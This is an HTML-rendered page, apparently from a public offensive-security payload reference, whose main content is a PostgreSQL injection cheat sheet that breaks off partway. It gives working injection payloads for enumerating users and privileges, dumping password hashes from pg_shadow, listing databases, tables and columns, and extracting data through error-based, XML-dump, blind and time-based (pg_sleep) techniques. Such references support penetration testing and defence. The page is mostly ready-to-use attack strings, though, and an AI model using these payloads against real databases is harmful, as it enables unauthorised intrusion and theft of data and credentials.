<span class="md-ellipsis">
Index
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_5" >
<label class="md-nav__link" for="__nav_51_5" id="__nav_51_5_label" tabindex="0">
<span class="md-ellipsis">
Configuration uwsgi.ini
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_5_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_5">
<span class="md-nav__icon md-icon"></span>
Configuration uwsgi.ini
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/Configuration%20uwsgi.ini/" class="md-nav__link">
<span class="md-ellipsis">
uWSGI configuration file
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_6" >
<label class="md-nav__link" for="__nav_51_6" id="__nav_51_6_label" tabindex="0">
<span class="md-ellipsis">
Extension Flash
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_6_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_6">
<span class="md-nav__icon md-icon"></span>
Extension Flash
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/Extension%20Flash/" class="md-nav__link">
<span class="md-ellipsis">
Index
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_7" >
<label class="md-nav__link" for="__nav_51_7" id="__nav_51_7_label" tabindex="0">
<span class="md-ellipsis">
Extension PDF JS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_7_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_7">
<span class="md-nav__icon md-icon"></span>
Extension PDF JS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/Extension%20PDF%20JS/" class="md-nav__link">
<span class="md-ellipsis">
Generate PDF File Containing JavaScript Code
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_8" >
<label class="md-nav__link" for="__nav_51_8" id="__nav_51_8_label" tabindex="0">
<span class="md-ellipsis">
Picture ImageMagick
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_8_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_8">
<span class="md-nav__icon md-icon"></span>
Picture ImageMagick
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/Picture%20ImageMagick/" class="md-nav__link">
<span class="md-ellipsis">
ImageMagick Exploits
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_9" >
<label class="md-nav__link" for="__nav_51_9" id="__nav_51_9_label" tabindex="0">
<span class="md-ellipsis">
Zip Slip
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_9_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_9">
<span class="md-nav__icon md-icon"></span>
Zip Slip
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/Zip%20Slip/" class="md-nav__link">
<span class="md-ellipsis">
Zip Slip
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
<span class="md-ellipsis">
Web Cache Deception
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_52">
<span class="md-nav__icon md-icon"></span>
Web Cache Deception
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Web%20Cache%20Deception/" class="md-nav__link">
<span class="md-ellipsis">
Web Cache Deception
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
<span class="md-ellipsis">
Web Sockets
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_53">
<span class="md-nav__icon md-icon"></span>
Web Sockets
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Web%20Sockets/" class="md-nav__link">
<span class="md-ellipsis">
Web Sockets
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
<span class="md-ellipsis">
XPATH Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_54">
<span class="md-nav__icon md-icon"></span>
XPATH Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XPATH%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XPATH Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
<span class="md-ellipsis">
XSLT Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_55">
<span class="md-nav__icon md-icon"></span>
XSLT Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XSLT%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XSLT Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
<span class="md-ellipsis">
XSS Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_56">
<span class="md-nav__icon md-icon"></span>
XSS Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XSS%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cross Site Scripting
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/XSS%20in%20Angular/" class="md-nav__link">
<span class="md-ellipsis">
XSS in Angular and AngularJS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/XSS%20with%20Relative%20Path%20Overwrite/" class="md-nav__link">
<span class="md-ellipsis">
XSS with Relative Path Overwrite - IE 8/9 and lower
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
<span class="md-ellipsis">
XXE Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_57">
<span class="md-nav__icon md-icon"></span>
XXE Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XXE%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XML External Entity
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
<span class="md-ellipsis">
LEARNING AND SOCIALS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_58">
<span class="md-nav__icon md-icon"></span>
LEARNING AND SOCIALS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
<span class="md-ellipsis">
Books
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
<span class="md-ellipsis">
Twitter
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../_LEARNING_AND_SOCIALS/YOUTUBE/" class="md-nav__link">
<span class="md-ellipsis">
Youtube
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
<span class="md-ellipsis">
template vuln
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_59">
<span class="md-nav__icon md-icon"></span>
template vuln
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../_template_vuln/" class="md-nav__link">
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<h1 id="postgresql-injection">PostgreSQL injection</h1>
<h2 id="summary">Summary</h2>
<ul>
<li><a href="#postgresql-comments">PostgreSQL Comments</a></li>
<li><a href="#postgresql-version">PostgreSQL version</a></li>
<li><a href="#postgresql-current-user">PostgreSQL Current User</a></li>
<li><a href="#postgresql-list-users">PostgreSQL List Users</a></li>
<li><a href="#postgresql-list-password-hashes">PostgreSQL List Password Hashes</a></li>
<li><a href="#postgresql-list-database-administrator-accounts">PostgreSQL List Database Administrator Accounts</a></li>
<li><a href="#postgresql-list-privileges">PostgreSQL List Privileges</a></li>
<li><a href="#postgresql-check-if-current-user-is-superuser">PostgreSQL Check if Current User is Superuser</a></li>
<li><a href="#postgresql-database-name">PostgreSQL database name</a></li>
<li><a href="#postgresql-list-database">PostgreSQL List databases</a></li>
<li><a href="#postgresql-list-tables">PostgreSQL List tables</a></li>
<li><a href="#postgresql-list-columns">PostgreSQL List columns</a></li>
<li><a href="#postgresql-error-based">PostgreSQL Error Based</a></li>
<li><a href="#postgresql-xml-helpers">PostgreSQL XML Helpers</a></li>
<li><a href="#postgresql-blind">PostgreSQL Blind</a></li>
<li><a href="#postgresql-time-based">PostgreSQL Time Based</a></li>
<li><a href="#postgresql-stacked-query">PostgreSQL Stacked query</a></li>
<li><a href="#postgresql-file-read">PostgreSQL File Read</a></li>
<li><a href="#postgresql-file-write">PostgreSQL File Write</a></li>
<li><a href="#postgresql-command-execution">PostgreSQL Command execution</a><ul>
<li><a href="#cve-20199193">CVE-20199193</a></li>
<li><a href="#using-libcso6">Using libc.so.6</a></li>
</ul>
</li>
<li><a href="#bypass-filter">Bypass Filter</a></li>
<li><a href="#references">References</a></li>
</ul>
<h2 id="postgresql-comments">PostgreSQL Comments</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="c1">--</span>
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a><span class="cm">/**/</span><span class="w"> </span>
</code></pre></div>
<h2 id="postgresql-chain-injection-points-symbols">PostgreSQL chain injection points symbols</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="p">;</span><span class="w"> </span><span class="o">#</span><span class="n">Used</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="k">terminate</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="k">SQL</span><span class="w"> </span><span class="n">command</span><span class="p">.</span><span class="w"> </span><span class="n">The</span><span class="w"> </span><span class="k">only</span><span class="w"> </span><span class="n">place</span><span class="w"> </span><span class="n">it</span><span class="w"> </span><span class="n">can</span><span class="w"> </span><span class="n">be</span><span class="w"> </span><span class="n">used</span><span class="w"> </span><span class="n">within</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="k">statement</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="n">within</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="n">string</span><span class="w"> </span><span class="n">constant</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="n">quoted</span><span class="w"> </span><span class="n">identifier</span><span class="p">.</span>
<a id="__codelineno-1-2" name="__codelineno-1-2" href="#__codelineno-1-2"></a><span class="o">||</span><span class="w"> </span><span class="o">#</span><span class="k">or</span><span class="w"> </span><span class="k">statement</span><span class="w"> </span>
<a id="__codelineno-1-3" name="__codelineno-1-3" href="#__codelineno-1-3"></a>
<a id="__codelineno-1-4" name="__codelineno-1-4" href="#__codelineno-1-4"></a><span class="o">#</span><span class="w"> </span><span class="k">usage</span><span class="w"> </span><span class="n">examples</span><span class="p">:</span><span class="w"> </span>
<a id="__codelineno-1-5" name="__codelineno-1-5" href="#__codelineno-1-5"></a><span class="o">/?</span><span class="n">whatever</span><span class="o">=</span><span class="mi">1</span><span class="p">;(</span><span class="k">select</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">pg_sleep</span><span class="p">(</span><span class="mi">5</span><span class="p">))</span>
<a id="__codelineno-1-6" name="__codelineno-1-6" href="#__codelineno-1-6"></a><span class="o">/?</span><span class="n">whatever</span><span class="o">=</span><span class="mi">1</span><span class="o">||</span><span class="p">(</span><span class="k">select</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">pg_sleep</span><span class="p">(</span><span class="mi">5</span><span class="p">))</span>
</code></pre></div>
<h2 id="postgresql-version">PostgreSQL Version</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="k">version</span><span class="p">()</span>
</code></pre></div>
<h2 id="postgresql-current-user">PostgreSQL Current User</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="k">user</span><span class="p">;</span>
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="k">SELECT</span><span class="w"> </span><span class="k">current_user</span><span class="p">;</span>
<a id="__codelineno-3-3" name="__codelineno-3-3" href="#__codelineno-3-3"></a><span class="k">SELECT</span><span class="w"> </span><span class="k">session_user</span><span class="p">;</span>
<a id="__codelineno-3-4" name="__codelineno-3-4" href="#__codelineno-3-4"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">usename</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">pg_user</span><span class="p">;</span>
<a id="__codelineno-3-5" name="__codelineno-3-5" href="#__codelineno-3-5"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">getpgusername</span><span class="p">();</span>
</code></pre></div>
<h2 id="postgresql-list-users">PostgreSQL List Users</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">usename</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">pg_user</span>
</code></pre></div>
<h2 id="postgresql-list-password-hashes">PostgreSQL List Password Hashes</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">usename</span><span class="p">,</span><span class="w"> </span><span class="n">passwd</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">pg_shadow</span><span class="w"> </span>
</code></pre></div>
<h2 id="postgresql-list-database-administrator-accounts">PostgreSQL List Database Administrator Accounts</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">usename</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">pg_user</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">usesuper</span><span class="w"> </span><span class="k">IS</span><span class="w"> </span><span class="k">TRUE</span>
</code></pre></div>
<h2 id="postgresql-list-privileges">PostgreSQL List Privileges</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">usename</span><span class="p">,</span><span class="w"> </span><span class="n">usecreatedb</span><span class="p">,</span><span class="w"> </span><span class="n">usesuper</span><span class="p">,</span><span class="w"> </span><span class="n">usecatupd</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">pg_user</span>
</code></pre></div>
<h2 id="postgresql-check-if-current-user-is-superuser">PostgreSQL Check if Current User is Superuser</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="k">SHOW</span><span class="w"> </span><span class="n">is_superuser</span><span class="p">;</span><span class="w"> </span>
<a id="__codelineno-8-2" name="__codelineno-8-2" href="#__codelineno-8-2"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">current_setting</span><span class="p">(</span><span class="s1">&#39;is_superuser&#39;</span><span class="p">);</span>
<a id="__codelineno-8-3" name="__codelineno-8-3" href="#__codelineno-8-3"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">usesuper</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">pg_user</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">usename</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">CURRENT_USER</span><span class="p">;</span>
</code></pre></div>
<h2 id="postgresql-database-name">PostgreSQL Database Name</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">current_database</span><span class="p">()</span>
</code></pre></div>
<h2 id="postgresql-list-database">PostgreSQL List Database</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">datname</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">pg_database</span>
</code></pre></div>
<h2 id="postgresql-list-tables">PostgreSQL List Tables</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="k">table_name</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">information_schema</span><span class="p">.</span><span class="n">tables</span>
</code></pre></div>
<h2 id="postgresql-list-columns">PostgreSQL List Columns</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="k">column_name</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">information_schema</span><span class="p">.</span><span class="n">columns</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="k">table_name</span><span class="o">=</span><span class="s1">&#39;data_table&#39;</span>
</code></pre></div>
<h2 id="postgresql-error-based">PostgreSQL Error Based</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="p">,</span><span class="k">cAsT</span><span class="p">(</span><span class="n">chr</span><span class="p">(</span><span class="mi">126</span><span class="p">)</span><span class="o">||</span><span class="k">vErSiOn</span><span class="p">()</span><span class="o">||</span><span class="n">chr</span><span class="p">(</span><span class="mi">126</span><span class="p">)</span><span class="o">+</span><span class="k">aS</span><span class="o">+</span><span class="nb">nUmeRiC</span><span class="p">)</span>
<a id="__codelineno-13-2" name="__codelineno-13-2" href="#__codelineno-13-2"></a><span class="p">,</span><span class="k">cAsT</span><span class="p">(</span><span class="n">chr</span><span class="p">(</span><span class="mi">126</span><span class="p">)</span><span class="o">||</span><span class="p">(</span><span class="k">sEleCt</span><span class="o">+</span><span class="k">table_name</span><span class="o">+</span><span class="k">fRoM</span><span class="o">+</span><span class="n">information_schema</span><span class="p">.</span><span class="n">tables</span><span class="o">+</span><span class="k">lImIt</span><span class="o">+</span><span class="mi">1</span><span class="o">+</span><span class="k">offset</span><span class="o">+</span><span class="n">data_offset</span><span class="p">)</span><span class="o">||</span><span class="n">chr</span><span class="p">(</span><span class="mi">126</span><span class="p">)</span><span class="o">+</span><span class="k">as</span><span class="o">+</span><span class="nb">nUmeRiC</span><span class="p">)</span><span class="c1">--</span>
<a id="__codelineno-13-3" name="__codelineno-13-3" href="#__codelineno-13-3"></a><span class="p">,</span><span class="k">cAsT</span><span class="p">(</span><span class="n">chr</span><span class="p">(</span><span class="mi">126</span><span class="p">)</span><span class="o">||</span><span class="p">(</span><span class="k">sEleCt</span><span class="o">+</span><span class="k">column_name</span><span class="o">+</span><span class="k">fRoM</span><span class="o">+</span><span class="n">information_schema</span><span class="p">.</span><span class="n">columns</span><span class="o">+</span><span class="k">wHerE</span><span class="o">+</span><span class="k">table_name</span><span class="o">=</span><span class="s1">&#39;data_table&#39;</span><span class="o">+</span><span class="k">lImIt</span><span class="o">+</span><span class="mi">1</span><span class="o">+</span><span class="k">offset</span><span class="o">+</span><span class="n">data_offset</span><span class="p">)</span><span class="o">||</span><span class="n">chr</span><span class="p">(</span><span class="mi">126</span><span class="p">)</span><span class="o">+</span><span class="k">as</span><span class="o">+</span><span class="nb">nUmeRiC</span><span class="p">)</span><span class="c1">--</span>
<a id="__codelineno-13-4" name="__codelineno-13-4" href="#__codelineno-13-4"></a><span class="p">,</span><span class="k">cAsT</span><span class="p">(</span><span class="n">chr</span><span class="p">(</span><span class="mi">126</span><span class="p">)</span><span class="o">||</span><span class="p">(</span><span class="k">sEleCt</span><span class="o">+</span><span class="n">data_column</span><span class="o">+</span><span class="k">fRoM</span><span class="o">+</span><span class="n">data_table</span><span class="o">+</span><span class="k">lImIt</span><span class="o">+</span><span class="mi">1</span><span class="o">+</span><span class="k">offset</span><span class="o">+</span><span class="n">data_offset</span><span class="p">)</span><span class="o">||</span><span class="n">chr</span><span class="p">(</span><span class="mi">126</span><span class="p">)</span><span class="o">+</span><span class="k">as</span><span class="o">+</span><span class="nb">nUmeRiC</span><span class="p">)</span>
<a id="__codelineno-13-5" name="__codelineno-13-5" href="#__codelineno-13-5"></a>
<a id="__codelineno-13-6" name="__codelineno-13-6" href="#__codelineno-13-6"></a><span class="s1">&#39; and 1=cast((SELECT concat(&#39;</span><span class="k">DATABASE</span><span class="p">:</span><span class="w"> </span><span class="s1">&#39;,current_database())) as int) and &#39;</span><span class="mi">1</span><span class="s1">&#39;=&#39;</span><span class="mi">1</span>
<a id="__codelineno-13-7" name="__codelineno-13-7" href="#__codelineno-13-7"></a><span class="s1">&#39; and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and &#39;</span><span class="mi">1</span><span class="s1">&#39;=&#39;</span><span class="mi">1</span>
<a id="__codelineno-13-8" name="__codelineno-13-8" href="#__codelineno-13-8"></a><span class="s1">&#39; and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name=&#39;</span><span class="n">data_table</span><span class="s1">&#39; LIMIT 1 OFFSET data_offset) as int) and &#39;</span><span class="mi">1</span><span class="s1">&#39;=&#39;</span><span class="mi">1</span>
<a id="__codelineno-13-9" name="__codelineno-13-9" href="#__codelineno-13-9"></a><span class="s1">&#39; and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and &#39;</span><span class="mi">1</span><span class="s1">&#39;=&#39;</span><span class="mi">1</span>
</code></pre></div>
<h2 id="postgresql-xml-helpers">PostgreSQL XML helpers</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="k">select</span><span class="w"> </span><span class="n">query_to_xml</span><span class="p">(</span><span class="s1">&#39;select * from pg_user&#39;</span><span class="p">,</span><span class="k">true</span><span class="p">,</span><span class="k">true</span><span class="p">,</span><span class="s1">&#39;&#39;</span><span class="p">);</span><span class="w"> </span><span class="c1">-- returns all the results as a single xml row</span>
</code></pre></div>
<p>The <code>query_to_xml</code> above returns all the results of the specified query as a single result. Chain this with the <a href="#postgresql-error-based">PostgreSQL Error Based</a> technique to exfiltrate data without having to worry about <code>LIMIT</code>ing your query to one result.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="k">select</span><span class="w"> </span><span class="n">database_to_xml</span><span class="p">(</span><span class="k">true</span><span class="p">,</span><span class="k">true</span><span class="p">,</span><span class="s1">&#39;&#39;</span><span class="p">);</span><span class="w"> </span><span class="c1">-- dump the current database to XML</span>
<a id="__codelineno-15-2" name="__codelineno-15-2" href="#__codelineno-15-2"></a><span class="k">select</span><span class="w"> </span><span class="n">database_to_xmlschema</span><span class="p">(</span><span class="k">true</span><span class="p">,</span><span class="k">true</span><span class="p">,</span><span class="s1">&#39;&#39;</span><span class="p">);</span><span class="w"> </span><span class="c1">-- dump the current db to an XML schema</span>
</code></pre></div>
<p>Note, with the above queries, the output needs to be assembled in memory. For larger databases, this might cause a slow down or denial of service condition.</p>
<h2 id="postgresql-blind">PostgreSQL Blind</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a><span class="s1">&#39; and substr(version(),1,10) = &#39;</span><span class="n">PostgreSQL</span><span class="s1">&#39; and &#39;</span><span class="mi">1</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="n">OK</span>
<a id="__codelineno-16-2" name="__codelineno-16-2" href="#__codelineno-16-2"></a><span class="s1">&#39; and substr(version(),1,10) = &#39;</span><span class="n">PostgreXXX</span><span class="s1">&#39; and &#39;</span><span class="mi">1</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="n">KO</span>
</code></pre></div>
<h2 id="postgresql-time-based">PostgreSQL Time Based</h2>
<h4 id="identify-time-based">Identify time based</h4>
<div class="highlight"><pre><span></span><code><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a><span class="k">select</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">pg_sleep</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
<a id="__codelineno-17-2" name="__codelineno-17-2" href="#__codelineno-17-2"></a><span class="p">;(</span><span class="k">select</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">pg_sleep</span><span class="p">(</span><span class="mi">5</span><span class="p">))</span>
<a id="__codelineno-17-3" name="__codelineno-17-3" href="#__codelineno-17-3"></a><span class="o">||</span><span class="p">(</span><span class="k">select</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">pg_sleep</span><span class="p">(</span><span class="mi">5</span><span class="p">))</span>
</code></pre></div>
<h4 id="database-dump-time-based">Database dump time based</h4>
<div class="highlight"><pre><span></span><code><a id="__codelineno-18-1" name="__codelineno-18-1" href="#__codelineno-18-1"></a><span class="k">select</span><span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="k">when</span><span class="w"> </span><span class="k">substring</span><span class="p">(</span><span class="n">datname</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span><span class="o">=</span><span class="s1">&#39;1&#39;</span><span class="w"> </span><span class="k">then</span><span class="w"> </span><span class="n">pg_sleep</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="n">pg_sleep</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">pg_database</span><span class="w"> </span><span class="k">limit</span><span class="w"> </span><span class="mi">1</span>
</code></pre></div>
<h4 id="table-dump-time-based">Table dump time based</h4>
